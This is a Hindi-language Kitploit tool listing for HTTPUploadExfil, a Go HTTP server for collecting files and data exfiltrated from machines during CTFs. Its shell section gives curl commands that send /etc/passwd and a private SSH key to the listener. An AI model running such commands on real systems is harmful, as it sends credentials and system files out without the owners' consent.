Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
HTTPUploadExfil — उदाहरण के लिए, CTFs के दौरान फ़ाइलों/डेटा को वितरित और बाहर निकालने के लिए एक सरल HTTP सर्वर। | Kitploit
उपकरण/GitHubGitHub/ingokl/httpuploadexfil
डेटा निष्कासनवेब सुरक्षाCTFपेनिट्रेशन टेस्टिंग
GitHubingokl/httpuploadexfil

HTTPUploadExfil

उदाहरण के लिए, CTFs के दौरान फ़ाइलों/डेटा को वितरित और बाहर निकालने के लिए एक सरल HTTP सर्वर।

रिपॉजिटरी देखें
82181 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

HTTPUploadExfil

HTTPUploadExfil Logo

MIT License GitHub stars

HTTPUploadExfil एक (बहुत) सरल HTTP सर्वर है जो Go में लिखा गया है, जो HTTP का उपयोग करके किसी मशीन से फ़ाइलें (और अन्य जानकारी) निकालने के लिए उपयोगी है। हालाँकि इसके कई उपयोग-मामले हैं, लेकिन यह कम दांव वाले आक्रामक परिदृश्यों (जैसे CTFs) में उपयोग के लिए है।

इसे python3 -m http.server की तरह समझें, लेकिन मशीन पर डेटा लाने के बजाय मशीन से डेटा निकालने के लिए।

स्पष्ट रूप से, यह डेटा निकालने का एक बहुत ज़ोरदार और कुछ हद तक प्रतिबंधित तरीका है। फिर भी, यह काफी उपयोगी है और SMB या FTP जैसे अन्य तरीकों की तुलना में कुछ हद तक आसान है। यदि आप कुछ अधिक सुंदर खोज रहे हैं, तो उदाहरण के लिए dnsteal या PyExfil देखें।

संक्षेप में (TL;DR)

  1. go build का उपयोग करके टूल का निर्माण करें।
  2. अपनी मशीन पर ./httpuploadexfil :1337 /home/kali/loot चलाएँ।
  3. जिस मशीन से डेटा निकालना है, उस पर http://YOUR_IP:1337/ तक पहुँचें।
  4. अपनी अपलोड की गई फ़ाइलें /home/kali/loot में ढूँढ़ें।

यदि आपको HTTPs की आवश्यकता है, तो नीचे दी गई जानकारी देखें।

आप GitHub से Linux और Windows के लिए बाइनरी डाउनलोड भी कर सकते हैं। हालाँकि, ये बाइनरी जरूरी नहीं कि सबसे हाल के बदलावों का प्रतिनिधित्व करें।

निर्माण और विकास

हालाँकि बाइनरी उपलब्ध हैं, लेकिन इसे स्वयं बनाना अत्यधिक अनुशंसित है। इस तरह, आपके पास नवीनतम संस्करण होगा, और आपको पता होगा कि आप वास्तव में क्या चला रहे हैं। यह प्रक्रिया सरल है:

बस फ़ोल्डर के अंदर go build चलाएँ, और आपको अपने प्लेटफ़ॉर्म के लिए एक httpuploadexfil निष्पादन योग्य मिलेगा।

यदि आप टूल में बदलाव करते हैं, तो go fmt main.go का उपयोग करके फ़ॉर्मेट करना याद रखें।

वैकल्पिक रूप से, आप टूल बनाने के लिए make का भी उपयोग कर सकते हैं। आप SSL प्रमाणपत्र उत्पन्न करने के लिए make cert भी चला सकते हैं (नीचे देखें)।

उपयोग

सबसे सामान्य उपयोग मामला मशीन A पर सर्वर चलाना होगा। अब, मशीन B पर आप ब्राउज़र का उपयोग करके अपलोड फ़ॉर्म तक पहुँचते हैं और निकालने के लिए एक फ़ाइल चुनते हैं। बेशक, जैसा कि आप नीचे देख सकते हैं, यह उदाहरण के लिए curl का उपयोग करके भी किया जा सकता है।

फ़ाइलें अपलोड करने के अलावा, आप सरल GET अनुरोधों का उपयोग करके डेटा निकालने के लिए भी HTTPUploadExfil का उपयोग कर सकते हैं। यदि कोई अनुरोध /g एंडपॉइंट पर भेजा जाता है, तो पूरा अनुरोध डिस्क पर संग्रहीत किया जाएगा।

इसलिए, आप अनुरोध के हेडर का उपयोग करके डेटा निकाल सकते हैं। GET पैरामीटर (जैसे, ?data=...) का उपयोग करना सबसे आसान है, लेकिन अन्य विकल्प भी हैं।

HTTPUploadExfil

डिफ़ॉल्ट रूप से, HTTPUploadExfil पोर्ट 8080 पर परोसा जाएगा। सभी फ़ाइलें वर्तमान निर्देशिका में लिखी जाएँगी।

./httpuploadexfil

आप कुछ तर्क भी प्रदान कर सकते हैं:

./httpuploadexfil :1337 /home/kali/loot

यदि आपको अनुरोध लॉगिंग की आवश्यकता है, तो -log फ़्लैग इस प्रकार पास करें:

./httpuploadexfil -log

पहला तर्क एक बाइंड एड्रेस है, दूसरा फ़ाइलों को संग्रहीत करने का फ़ोल्डर है।

टूल /l एंडपॉइंट के तहत लूट निर्देशिका में फ़ाइलों को भी उजागर करेगा। इसका उपयोग लक्ष्य पर फ़ाइलें लाने के एक आसान तरीके के रूप में किया जा सकता है।

एंडपॉइंट

वेबसर्वर आपके उपयोग के लिए चार एंडपॉइंट उजागर करता है:

  1. / (GET) अपलोड फ़ॉर्म है।
  2. /p (POST) अपलोड फ़ॉर्म से डेटा लेता है। इसके लिए file फ़ील्ड भरे हुए multipart/form-data अनुरोध की आवश्यकता होती है।
  3. /g (GET) किसी भी GET अनुरोध को लेगा और सर्वर पर पूरा अनुरोध संग्रहीत करेगा।
  4. /l (GET) निर्दिष्ट फ़ोल्डर में फ़ाइलों तक पहुँच प्रदान करेगा (निर्देशिका सूची)। यह बुनियादी python3 -m http.server कार्यक्षमता प्रदान करने के लिए है।

HTTPs मोड

HTTPUploadExfil का उपयोग HTTPs मोड में भी किया जा सकता है। ऐसा करने के लिए, बस बाइनरी के बगल में एक HTTPUploadExfil.csr और HTTPUploadExfil.key फ़ाइल रखें। इन्हें उदाहरण के लिए इस प्रकार उत्पन्न किया जा सकता है:

root@kitploit:~
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

ऐसा करने के लिए, आप make cert भी चला सकते हैं।

यदि सर्वर को HTTPUploadExfil.csr फ़ाइल दिखती है, तो वह HTTPs मोड में शुरू होने का प्रयास करेगा। HTTP पर वापस जाने के लिए, बस प्रमाणपत्र फ़ाइलों को हटाएँ या उनका नाम बदलें।

शेल

Bash का उपयोग करके, हम GET के माध्यम से डेटा निकाल सकते हैं, उदाहरण के लिए:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

बेशक, हम फ़ाइलें निकालने के लिए curl का भी उपयोग कर सकते हैं:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

ToDo

  • HTTPs संस्करण लागू करना (परिवहन एन्क्रिप्शन)
  • डाउनलोड विकल्प जोड़ना (यानी, python3 -m http.server कार्यक्षमता प्रदान करना)
  • अनुरोधों के लिए लॉगिंग कार्यक्षमता जोड़ना
  • बिल्ड सिस्टम (विशेषकर Windows और Linux के लिए क्रॉस कम्पाइलेशन)
टूल डाउनलोड करें